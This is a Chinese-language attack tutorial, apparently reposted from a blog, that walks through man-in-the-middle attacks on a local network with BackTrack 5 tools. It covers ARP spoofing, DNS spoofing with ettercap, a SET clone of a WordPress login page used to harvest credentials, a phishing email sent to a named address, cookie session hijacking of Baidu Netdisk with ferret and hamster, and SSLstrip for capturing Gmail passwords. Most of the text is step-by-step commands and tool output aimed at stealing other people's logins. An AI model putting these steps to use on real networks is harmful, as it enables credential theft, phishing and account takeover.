中间人攻击之arp欺骗 科普ARP欺骗

中间人攻击之arp欺骗

科普ARP欺骗

A <-> B

A中有个ARP Table，每次发包都会在此Table中查找，若找不到，发APR Request包询问。
此时若hacker冒充B的MAC，因而A -> hacker。

(1)如何清空A中的ARP Table？否则它一查询，直接发包给B。

1. 通过百度：
2. ARP Table采用老化机制，某一行一段时间不用就被删除，提速。
3. hacker大量发ARP包产生大量ARP通讯量使通络堵塞，A就找不到B，A必然会发ARP Request包问：B是谁，
4. 此时hacker的伪造包，也就改变了A中的ARP Table。

(2)如何保证在B前响应A的请求查询？

1. 由于(1)中已经提到，局域网中充斥着大量hacker伪造B的ARP响应包，B竞争不过hacker，因此hacker会比B更快响应。

科普BT5下arpspoof 和 driftnet 和 wireshark

正常状况的A和B：

1. A(192.168.0.1) <-> B(192.168.0.109)
2. A’s MAC: 00-0C-29-7A-33-66
3. B’s MAC: 34-08-04-0B-70-E8

邪恶的hacker：

1. 192.168.0.108
2. hacker’s MAC: 00:0c:29:0a:ab:97

被ARP欺骗后：

1. A -> hacker -> B
2. A <- hacker <- B

如此一来，hacker就充当了一个中间转发的路由，流量都任意看。

开启BT5的路由转发功能（毕竟它要模拟一个路由嘛）：

1. echo 1  >  /proc/sys/net/ipv4/ip_forword

arpspoof使用方法（注意是开两个终端）：

1. #欺骗192.168.0.109，hacker就是192.168.0.1:
2. root@bt:~# arpspoof -i eth0 -t 192.168.0.109 192.168.0.1
4. #欺骗192.168.0.1，hacker就是192.168.0.109:
5. root@bt:~# arpspoof -i eth0 -t 192.168.0.1 192.168.0.109

如此一来，咱们就实现了，在192.168.0.1和192.168.0.109之间作个中间人，窥探他们的通讯包！

使用driftnet，专业窥探图片：

1. driftnet -i eth0

使用wireshark抓取数据包：

1. root@bt:~# wireshark

不开arpspoof以前，是抓不到192.168.0.109的包（由于它流量不走你这网卡啊！）

arp欺骗以后就能抓到了：

普及下常见的wireshark的命令：

过滤IP：

1. ip.addr==192.168.0.109 and
2. ip.src==192.168.0.109 and
3. ip.dst==192.168.0.109

过滤端口：

1. tcp.port == 80

过滤协议：

1. http or telnet

中间人攻击以内网DNS欺骗

科普DNS欺骗：

用本身的伪造的IP冒名顶替正常的DNS服务器的IP，让受攻击者访问到你的服务器。

以上这句话只是DNS被欺骗后的表现，而不是原理。

由于已经知道了在路由网关A与受攻击者B之间，hacker经过ARP欺骗充当起了中间人，

因此hacker对这些流量能作到绝对控制，这里有个专业术语叫：

1. DNS劫持！
3. DNS劫持是指在劫持的网络范围内拦截域名解析的请求，分析请求的域名，把审查范围之外的请求放行，不然返回假的IP地址或者什么都不作使请求失去响应，其效果就是对特定的网络不能反应或访问的是假网址。

攻击步骤：

1. 采用ettercap，arp 欺骗

开启BT5的路由转发功能（毕竟它要模拟一个路由嘛）：

1. echo 1  >  /proc/sys/net/ipv4/ip_forword

Ettercap的操做：

1. root@bt:~#  ettercap -G    #启动可视化
2. Sniff -> Unified Sniffing
3. Eth0 -> OK
4. Hosts -> Scan for hosts
5. Hosts -> Hosts List
6. Add to target1 -> 192.168.0.1     #网关
7. Add to target2 -> 192.168.0.111   #受攻击者
8. Mitm  ->  Arp poisoning
9. Start -> Start sniffing

在受攻击者中发现已经arp欺骗成功（欺骗192.168.0.111，192.168.0.108是网关192.168.0.1）：

2. 修改etter.dns 文件

1. root@bt:/usr/share# locate etter.dns
2. /usr/local/share/ettercap/etter.dns
3. /usr/local/share/videojak/etter.dns
4. root@bt:/usr/share# gedit  /usr/local/share/ettercap/etter.dns

这么修改：

3. 开始dns+spoof

1. ettercap -> Plugins -> Mange the plugins
2. 双击 dns_spoof  出现：Activating dns_spoof plugin..
3. 等一段时间。。.（十分钟以内吧。。）

DNS投毒成功，咱们能够看到受攻击ping www.xigema-team.org的时候，是BT5的IP地址：

4. SET社会工程学攻击

目标：

1. http://www.xigema-team.org/wp-login.php

为了防止版本差别，本人是在BT5r3下搞的，SET集合操做以下：

1. root@bt:~# cd /pentest/exploits/set/
2. root@bt:/pentest/exploits/set# ./set
4.  Select from the menu:
6.    1) Social-Engineering Attacks
7.    2) Fast-Track Penetration Testing
8.    3) Third Party Modules
9.    4) Update the Metasploit Framework
10.    5) Update the Social-Engineer Toolkit
11.    6) Update SET configuration
12.    7) Help, Credits, and About
14.   99) Exit the Social-Engineer Toolkit
16. set> 1
18.  Select from the menu:
20.    1) Spear-Phishing Attack Vectors
21.    2) Website Attack Vectors
22.    3) Infectious Media Generator
23.    4) Create a Payload and Listener
24.    5) Mass Mailer Attack
25.    6) Arduino-Based Attack Vector
26.    7) SMS Spoofing Attack Vector
27.    8) Wireless Access Point Attack Vector
28.    9) QRCode Generator Attack Vector
29.   10) Powershell Attack Vectors
30.   11) Third Party Modules
32.   99) Return back to the main menu.
34.  set> 2
36.   Select from the menu:
37.    1) Java Applet Attack Method
38.    2) Metasploit Browser Exploit Method
39.    3) Credential Harvester Attack Method
40.    4) Tabnabbing Attack Method
41.    5) Man Left in the Middle Attack Method
42.    6) Web Jacking Attack Method
43.    7) Multi-Attack Web Method
44.    8) Victim Web Profiler
45.    9) Create or import a CodeSigning Certificate
47.   99) Return to Main Menu
49. set:webattack>3
52.  The first method will allow SET to import a list of pre-defined web
53.  applications that it can utilize within the attack.
55.  The second method will completely clone a website of your choosing
56.  and allow you to utilize the attack vectors within the completely
57.  same web application you were attempting to clone.
59.  The third method allows you to import your own website, note that you
60.  should only have an index.html when using the import website
61.  functionality.
63.    1) Web Templates
64.    2) Site Cloner
65.    3) Custom Import
68. set:webattack>2
69. [-] Credential harvester will allow you to utilize the clone capabilities within SET
70. [-] to harvest credentials or parameters from a website as well as place them into a report
71. [-] This option is used for what IP the server will POST to.
72. [-] If you’re using an external IP, use your external IP for this
73. set:webattack> IP address for the POST back in Harvester/Tabnabbing:192.168.0.108
74. [-] SET supports both HTTP and HTTPS
75. [-] Example: http://www.thisisafakesite.com
76. set:webattack> Enter the url to clone:http://www.xigema-team.org/wp-login.php
78. [*] Cloning the website: http://www.xigema-team.org/wp-login.php
79. [*] This could take a little bit…
81. The best way to use this attack is if username and password form
82. fields are available. Regardless, this captures all POSTs on a website.
83. [!] I have read the above message.
85.       Press <return> to continue
87. [*] Social-Engineer Toolkit Credential Harvester Attack
88. [*] Credential Harvester is running on port 80
89. [*] Information will be displayed to you as it arrives below:

吐槽下网站克隆：

1. 在网站克隆的时候，须要注意点就是，大网站如gmail.com，mail.qq.com直接clone会失败。
2. 由于这些网站的js代码会探测是不是正常环境并跳转连接。.。
3. 若是手工下载网页，对JS代码作一些修改。。
4. 盗密码果真须要麻烦一些：内网+改页面代码。。
5. 固然，BT5也集成了5个模板：gmail，facebook，twitter，google，java required（这是啥?）
6. 但是使用gmail的时候，居然由于cookie被禁用而error，其实不是cookie被禁用，而是里面有一段保护的js代码！

5.受攻击者访问http://www.xigema-team.org/wp-login.php

这里咱们能够发一封邮件给他，让他去修改密码：

1. Select from the menu:
3.    1) Spear-Phishing Attack Vectors
4.    2) Website Attack Vectors
5.    3) Infectious Media Generator
6.    4) Create a Payload and Listener
7.    5) Mass Mailer Attack
8.    6) Arduino-Based Attack Vector
9.    7) SMS Spoofing Attack Vector
10.    8) Wireless Access Point Attack Vector
11.    9) QRCode Generator Attack Vector
12.   10) Powershell Attack Vectors
13.   11) Third Party Modules
15.   99) Return back to the main menu.
17. set> 5
19.    Social Engineer Toolkit Mass E-Mailer
21.    There are two options on the mass e-mailer, the first would
22.    be to send an email to one individual person. The second option
23.    will allow you to import a list and send it to as many people as
24.    you want within that list.
26.    What do you want to do:
28.     1.  E-Mail Attack Single Email Address
29.     2.  E-Mail Attack Mass Mailer
31.     99. Return to main menu.
33. set:mailer>1
34. set:phishing> Send email to:xihuanjiechun@qq.com
36.   1. Use a gmail Account for your email attack.
37.   2. Use your own server or open relay
39. set:phishing>1
40. set:phishing> Your gmail email address:xihuanjianguo@gmail.com
41. Email password:
42. set:phishing> Flag this message/s as high priority? [yes|no]:y
43. set:phishing> Email subject:change your password from xigema-team.org
44. set:phishing> Send the message as html or plain? ‘h’ or ‘p’ [p]:h
45. set:phishing> Enter the body of the message, hit return for a new line. Control+c when finished:<a>www.xigema-term.org/wp-login.php</a> change your password!
46. Next line of the body: ^C
47. [*] SET has finished sending the emails

邮件收到：

当他进去后，输入密码，就get it！

6.帐号get it

中间人攻击之会话劫持

科普会话劫持

在ARP欺骗的基础上，流量都经过hacker走。

这流量之中就有cookie，而咱们可以轻易获取这cookie。

事实上也是如此，若是咱们可以获取维持网站和浏览器之间的会话状态的cookie，那么就能把cookie发给服务器，冒充会话链接。

这里盗用一张图，它形象的说明了会话劫持的整个状态：

科普hamster的攻击流程

此开源神器，/pentest/sniffers/hamster/中

实在找不到能够用：

1. root@bt:~#  locate hamster

1. 先用ettercap进行ARP欺骗

这里能够参照上面的“中间人攻击以内网DNS欺骗”的具体作法，须要我贴图吗？如须要，请留言通知我。。

2. 开启wireshark，抓包，保存为pcap

3. ferret 分析包

1. root@bt:/pentest/sniffers/hamster# ./ferret -r /root/Desktop/baidu.pcap

它就建立一个叫hamster.txt的文件，以便hamster进行真正的会话劫持~

1. root@bt:/pentest/sniffers/hamster# ls
2. favicon.ico  ferret  hamster  hamster.css  hamster.js  hamster.txt

4.配置网络代理

1. firefox -> edit -> preferences -> Advanced -> Network -> Connection Setting
2. 配置为1234端口监听

以下图所示：

5. hamster 发起会话劫持

在浏览器输入127.0.0.1:1234 或者 hamster ：

出来hamster的操做界面，在右边选择好受攻击者的IP，在左边点击pan.baidu.com，能够看到，咱们劫持了它的百度网盘了：

此时，受攻击者正在上百度网盘呢：

劫持成功！

会话劫持吐槽：

1. 遇到gmail又一次失败，链接不到服务器！
2. 换成百度网盘则成功，这里我猜测，gmail不全是靠cookie验证~
4. 并且，即便咱们的受攻击者，关闭了百度网盘，在BT5下，也是劫持成功的！

中间人攻击之SSL会话劫持

科普SSL会话

SSL依旧是安全的。

可是在开始SSL以前呢？仍是有可趁之机的。。

大神Moxie（09年black hat 大会上，演示SSLstrip的那个大神）的空间： http://www.thoughtcrime.org/software/sslstrip/

在这上面，他简单说了下，怎么有可趁之机的：

1. How does this work?
3. First, arpspoof convinces a host that our MAC address is the router’s MAC address, and the target begins to send us all its network traffic. The kernel forwards everything along except for traffic destined to port 80, which it redirects to $listenPort (10000, for example).
5. At this point, sslstrip receives the traffic and does its magic.

其实就是在进行HTTPS以前，把它换成HTTP链接，此时就明文探测到了用户名和密码！

科普SSLstripg攻击流程：

1.开启路由转发功能

1. root@bt:~# echo “1″ > /proc/sys/net/ipv4/ip_forward

吐槽：

1. 这个太坑爹了，每次重启都得来一次。觉得它是固定的，而后出错了，各类没头绪呢，网上的资料太少了。
2. 你们每次重启后，必定要记得开启啊！！

2.设置iptables

1. root@bt:/pentest/web/sslstripiptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 10000

前面都是固定的，后面–to-ports 加个端口便可！

1. 如此一来，就把受攻击机上的来自80端口的流量所有导入10000端口，此时，受攻击机器，应该是上不了网的。
2. 可是能够ping 通。

3.SSLstrip 监听 10000端口

1. root@bt:/pentest/web/sslstrip# python sslstrip.py -p -l 10000 -w log.txt

这里把记录放入/pentest/web/sslstrip/log.txt中，在里面查看用户名和密码便可。

1. -l 是监听
2. -p 是只记录SSL PORT的内容

4. log.txt获取gmail用户名，密码

吐槽：

 

1. root@bt:/pentest/web/sslstrip# python sslstrip.py  -p -l 10000 -w log.txt
3. sslstrip 0.9 by Moxie Marlinspike running…
4. Unhandled Error
5. Traceback (most recent call last):
6.   File “/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-i686.egg/twisted/python/log.py”, line 84, in callWithLogger
7.     return callWithContext({“system”: lp}, func, *args, **kw)
8.   File “/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-i686.egg/twisted/python/log.py”, line 69, in callWithContext
9.     return context.call({ILogContext: newCtx}, func, *ar

这个东西出错了不要紧，照样能获取密码！！！

搜了不少帖子，有解决方法： https://forums.kali.org/showthread.php?17926-Fake-access-point-ettercap-sslstrip&s=7a85d7aee62a24c92ae8faf8995f90cc

可是没试过，怕麻烦。。

能够发现，gmail：HTTPS -> HTTP

在log.txt中得到密码：

 

摘自http://www.backlion.com/%E5%88%9D%E6%8E%A2mitm%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/